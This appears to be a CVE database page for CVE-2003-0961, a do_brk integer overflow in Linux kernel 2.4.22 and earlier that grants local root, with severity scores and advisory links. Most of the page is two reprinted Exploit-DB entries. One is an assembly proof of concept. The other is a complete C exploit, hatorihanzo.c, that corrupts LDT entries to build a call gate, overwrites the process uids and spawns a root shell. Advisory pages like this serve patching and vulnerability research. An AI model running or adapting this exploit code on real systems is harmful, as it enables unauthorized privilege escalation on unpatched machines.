CVE-2003-0961 : Detail

CVE-2003-0961

1.42%V4
Local
2003-12-02
04h00 +00:00
2016-10-17
11h57 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Integer overflow in the do_brk function for the brk system call in Linux kernel 2.4.22 and earlier allows local users to gain root privileges.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 129

Publication date : 2003-12-01 23h00 +00:00
Author : Christophe Devine
EDB Verified : Yes

; E-DB Note: Updated Exploit ~ https://www.exploit-db.com/exploits/131/ ; ; Christophe Devine (devine at cr0.net) and Julien Tinnes (julien at cr0.org) ; ; This exploit uses sys_brk directly to expand his break and doesn't rely ; on the ELF loader to do it. ; ; To bypass a check in sys_brk against available memory, we use a high ; virtual address as base address ; ; In most case (let's say when no PaX w/ ASLR :) we have to move the stack ; so that we can expand our break ; BITS 32 org 0xBFFF0000 ehdr: ; Elf32_Ehdr db 0x7F, "ELF", 1, 1, 1 ; e_ident times 9 db 0 dw 2 ; e_type dw 3 ; e_machine dd 1 ; e_version dd _start ; e_entry dd phdr - $$ ; e_phoff dd 0 ; e_shoff dd 0 ; e_flags dw ehdrsize ; e_ehsize dw phdrsize ; e_phentsize dw 2 ; e_phnum dw 0 ; e_shentsize dw 0 ; e_shnum dw 0 ; e_shstrndx ehdrsize equ $ - ehdr phdr: ; Elf32_Phdr dd 1 ; p_type dd 0 ; p_offset dd $$ ; p_vaddr dd $$ ; p_paddr dd filesize ; p_filesz dd filesize ; p_memsz dd 7 ; p_flags dd 0x1000 ; p_align phdrsize equ $ - phdr _start: ; ** Make sure the stack is not above us mov eax, 163 ; mremap mov ebx, esp and ebx, ~(0x1000 - 1) ; align to page size mov ecx, 0x1000 ; we suppose stack is one page only mov edx, 0x9000 ; be sure it can't get mapped after ; us mov esi,1 ; MREMAP_MAYMOVE int 0x80 and esp, (0x1000 - 1) ; offset in page add esp, eax ; stack ptr to new location ; nb: we don't fix ; pointers so environ/cmdline ; are not available mov eax,152 ; mlockall (for tests as root) mov ebx,2 ; MCL_FUTURE int 0x80 ; get VMAs for the kernel memory mov eax,45 ; brk mov ebx,0xC0500000 int 0x80 mov ecx, 4 loop0: mov eax, 2 ; fork int 0x80 loop loop0 _idle: mov eax,162 ; nanosleep mov ebx,timespec int 0x80 jmp _idle timespec dd 10,0 filesize equ $ - $$ ; milw0rm.com [2003-12-02]
Exploit Database EDB-ID : 131

Publication date : 2003-12-04 23h00 +00:00
Author : Wojciech Purczynski
EDB Verified : Yes

/* * hatorihanzo.c * Linux kernel do_brk vma overflow exploit. * * The bug was found by Paul (IhaQueR) Starzetz <paul@isec.pl> * * Further research and exploit development by * Wojciech Purczynski <cliph@isec.pl> and Paul Starzetz. * * (c) 2003 Copyright by IhaQueR and cliph. All Rights Reserved. * * COPYING, PRINTING, DISTRIBUTION, MODIFICATION, COMPILATION AND ANY USE * OF PRESENTED CODE IS STRICTLY PROHIBITED. */ #define _GNU_SOURCE #include <stdio.h> #include <stdlib.h> #include <errno.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <signal.h> #include <paths.h> #include <grp.h> #include <setjmp.h> #include <stdint.h> #include <sys/mman.h> #include <sys/ipc.h> #include <sys/shm.h> #include <sys/ucontext.h> #include <sys/wait.h> #include <asm/ldt.h> #include <asm/page.h> #include <asm/segment.h> #include <linux/unistd.h> #include <linux/linkage.h> #define kB * 1024 #define MB * 1024 kB #define GB * 1024 MB #define MAGIC 0xdefaced /* I should've patented this number -cliph */ #define ENTRY_MAGIC 0 #define ENTRY_GATE 2 #define ENTRY_CS 4 #define ENTRY_DS 6 #define CS ((ENTRY_CS << 2) | 4) #define DS ((ENTRY_DS << 2) | 4) #define GATE ((ENTRY_GATE << 2) | 4 | 3) #define LDT_PAGES ((LDT_ENTRIES*LDT_ENTRY_SIZE+PAGE_SIZE-1) / PAGE_SIZE) #define TOP_ADDR 0xFFFFE000U /* configuration */ unsigned task_size; unsigned page; uid_t uid; unsigned address; int dontexit = 0; void fatal(char * msg) { fprintf(stderr, "[-] %s: %s\n", msg, strerror(errno)); if (dontexit) { fprintf(stderr, "[-] Unable to exit, entering neverending loop.\n"); kill(getpid(), SIGSTOP); for (;;) pause(); } exit(EXIT_FAILURE); } void configure(void) { unsigned val; task_size = ((unsigned)&val + 1 GB ) / (1 GB) * 1 GB; uid = getuid(); } void expand(void) { unsigned top = (unsigned) sbrk(0); unsigned limit = address + PAGE_SIZE; do { if (sbrk(PAGE_SIZE) == NULL) fatal("Kernel seems not to be vulnerable"); dontexit = 1; top += PAGE_SIZE; } while (top < limit); } jmp_buf jmp; #define MAP_NOPAGE 1 #define MAP_ISPAGE 2 void sigsegv(int signo, siginfo_t * si, void * ptr) { struct ucontext * uc = (struct ucontext *) ptr; int error_code = uc->uc_mcontext.gregs[REG_ERR]; (void)signo; (void)si; error_code = MAP_NOPAGE + (error_code & 1); longjmp(jmp, error_code); } void prepare(void) { struct sigaction sa; sa.sa_sigaction = sigsegv; sa.sa_flags = SA_SIGINFO | SA_NOMASK; sigemptyset(&sa.sa_mask); sigaction(SIGSEGV, &sa, NULL); } int testaddr(unsigned addr) { int val; val = setjmp(jmp); if (val == 0) { asm ("verr (%%eax)" : : "a" (addr)); return MAP_ISPAGE; } return val; } #define map_pages (((TOP_ADDR - task_size) + PAGE_SIZE - 1) / PAGE_SIZE) #define map_size (map_pages + 8*sizeof(unsigned) - 1) / (8*sizeof(unsigned)) #define next(u, b) do { if ((b = 2*b) == 0) { b = 1; u++; } } while(0) void map(unsigned * map) { unsigned addr = task_size; unsigned bit = 1; prepare(); while (addr < TOP_ADDR) { if (testaddr(addr) == MAP_ISPAGE) *map |= bit; addr += PAGE_SIZE; next(map, bit); } signal(SIGSEGV, SIG_DFL); } void find(unsigned * m) { unsigned addr = task_size; unsigned bit = 1; unsigned count; unsigned tmp; prepare(); tmp = address = count = 0U; while (addr < TOP_ADDR) { int val = testaddr(addr); if (val == MAP_ISPAGE && (*m & bit) == 0) { if (!tmp) tmp = addr; count++; } else { if (tmp && count == LDT_PAGES) { errno = EAGAIN; if (address) fatal("double allocation\n"); address = tmp; } tmp = count = 0U; } addr += PAGE_SIZE; next(m, bit); } signal(SIGSEGV, SIG_DFL); if (address) return; errno = ENOTSUP; fatal("Unable to determine kernel address"); } int modify_ldt(int, void *, unsigned); void ldt(unsigned * m) { struct modify_ldt_ldt_s l; map(m); memset(&l, 0, sizeof(l)); l.entry_number = LDT_ENTRIES - 1; l.seg_32bit = 1; l.base_addr = MAGIC >> 16; l.limit = MAGIC & 0xffff; if (modify_ldt(1, &l, sizeof(l)) == -1) fatal("Unable to set up LDT"); l.entry_number = ENTRY_MAGIC / 2; if (modify_ldt(1, &l, sizeof(l)) == -1) fatal("Unable to set up LDT"); find(m); } asmlinkage void kernel(unsigned * task) { unsigned * addr = task; /* looking for uids */ while (addr[0] != uid || addr[1] != uid || addr[2] != uid || addr[3] != uid) addr++; addr[0] = addr[1] = addr[2] = addr[3] = 0; /* uids */ addr[4] = addr[5] = addr[6] = addr[7] = 0; /* uids */ addr[8] = 0; /* looking for vma */ for (addr = (unsigned *) task_size; addr; addr++) { if (addr[0] >= task_size && addr[1] < task_size && addr[2] == address && addr[3] >= task_size) { addr[2] = task_size - PAGE_SIZE; addr = (unsigned *) addr[3]; addr[1] = task_size - PAGE_SIZE; addr[2] = task_size; break; } } } void kcode(void); #define __str(s) #s #define str(s) __str(s) void __kcode(void) { asm( "kcode: \n" " pusha \n" " pushl %es \n" " pushl %ds \n" " movl $(" str(DS) ") ,%edx \n" " movl %edx,%es \n" " movl %edx,%ds \n" " movl $0xffffe000,%eax \n" " andl %esp,%eax \n" " pushl %eax \n" " call kernel \n" " addl $4, %esp \n" " popl %ds \n" " popl %es \n" " popa \n" " lret \n" ); } void knockout(void) { unsigned * addr = (unsigned *) address; if (mprotect(addr, PAGE_SIZE, PROT_READ|PROT_WRITE) == -1) fatal("Unable to change page protection"); errno = ESRCH; if (addr[ENTRY_MAGIC] != MAGIC) fatal("Invalid LDT entry"); /* setting call gate and privileged descriptors */ addr[ENTRY_GATE+0] = ((unsigned)CS << 16) | ((unsigned)kcode & 0xffffU); addr[ENTRY_GATE+1] = ((unsigned)kcode & ~0xffffU) | 0xec00U; addr[ENTRY_CS+0] = 0x0000ffffU; /* kernel 4GB code at 0x00000000 */ addr[ENTRY_CS+1] = 0x00cf9a00U; addr[ENTRY_DS+0] = 0x0000ffffU; /* user 4GB code at 0x00000000 */ addr[ENTRY_DS+1] = 0x00cf9200U; prepare(); if (setjmp(jmp) != 0) { errno = ENOEXEC; fatal("Unable to jump to call gate"); } asm("lcall $" str(GATE) ",$0x0"); /* this is it */ } void shell(void) { char * argv[] = { _PATH_BSHELL, NULL }; execve(_PATH_BSHELL, argv, environ); fatal("Unable to spawn shell\n"); } void remap(void) { static char stack[8 MB]; /* new stack */ static char * envp[] = { "PATH=" _PATH_STDPATH, NULL }; static unsigned * m; static unsigned b; m = (unsigned *) sbrk(map_size); if (!m) fatal("Unable to allocate memory"); environ = envp; asm ("movl %0, %%esp\n" : : "a" (stack + sizeof(stack))); b = ((unsigned)sbrk(0) + PAGE_SIZE - 1) & PAGE_MASK; if (munmap((void*)b, task_size - b) == -1) fatal("Unable to unmap stack"); while (b < task_size) { if (sbrk(PAGE_SIZE) == NULL) fatal("Unable to expand BSS"); b += PAGE_SIZE; } ldt(m); expand(); knockout(); shell(); } int main(void) { configure(); remap(); return EXIT_FAILURE; } // milw0rm.com [2003-12-05]

Products Mentioned

Configuraton 0

Linux>>Linux_kernel >> Version To (including) 2.4.22

References

http://marc.info/?l=bugtraq&m=107064830206816&w=2
Tags : mailing-list, x_refsource_BUGTRAQ
http://secunia.com/advisories/10330
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.debian.org/security/2004/dsa-433
Tags : vendor-advisory, x_refsource_DEBIAN
http://www.debian.org/security/2004/dsa-423
Tags : vendor-advisory, x_refsource_DEBIAN
http://www.kb.cert.org/vuls/id/301156
Tags : third-party-advisory, x_refsource_CERT-VN
http://www.debian.org/security/2004/dsa-450
Tags : vendor-advisory, x_refsource_DEBIAN
http://www.redhat.com/support/errata/RHSA-2003-389.html
Tags : vendor-advisory, x_refsource_REDHAT
http://www.debian.org/security/2004/dsa-440
Tags : vendor-advisory, x_refsource_DEBIAN
http://www.mandriva.com/security/advisories?name=MDKSA-2003:110
Tags : vendor-advisory, x_refsource_MANDRAKE
http://marc.info/?l=bugtraq&m=107394143105081&w=2
Tags : mailing-list, x_refsource_BUGTRAQ
http://distro.conectiva.com.br/atualizacoes/?id=a&anuncio=000796
Tags : vendor-advisory, x_refsource_CONECTIVA
http://www.redhat.com/support/errata/RHSA-2003-368.html
Tags : vendor-advisory, x_refsource_REDHAT
http://secunia.com/advisories/10328
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/10329
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.debian.org/security/2004/dsa-439
Tags : vendor-advisory, x_refsource_DEBIAN
http://www.debian.org/security/2004/dsa-475
Tags : vendor-advisory, x_refsource_DEBIAN
http://secunia.com/advisories/10338
Tags : third-party-advisory, x_refsource_SECUNIA
http://secunia.com/advisories/10333
Tags : third-party-advisory, x_refsource_SECUNIA
http://marc.info/?l=bugtraq&m=107064798706473&w=2
Tags : mailing-list, x_refsource_BUGTRAQ
http://www.debian.org/security/2004/dsa-417
Tags : vendor-advisory, x_refsource_DEBIAN
http://www.debian.org/security/2003/dsa-403
Tags : vendor-advisory, x_refsource_DEBIAN
http://www.debian.org/security/2004/dsa-442
Tags : vendor-advisory, x_refsource_DEBIAN
http://www.debian.org/security/2004/dsa-470
Tags : vendor-advisory, x_refsource_DEBIAN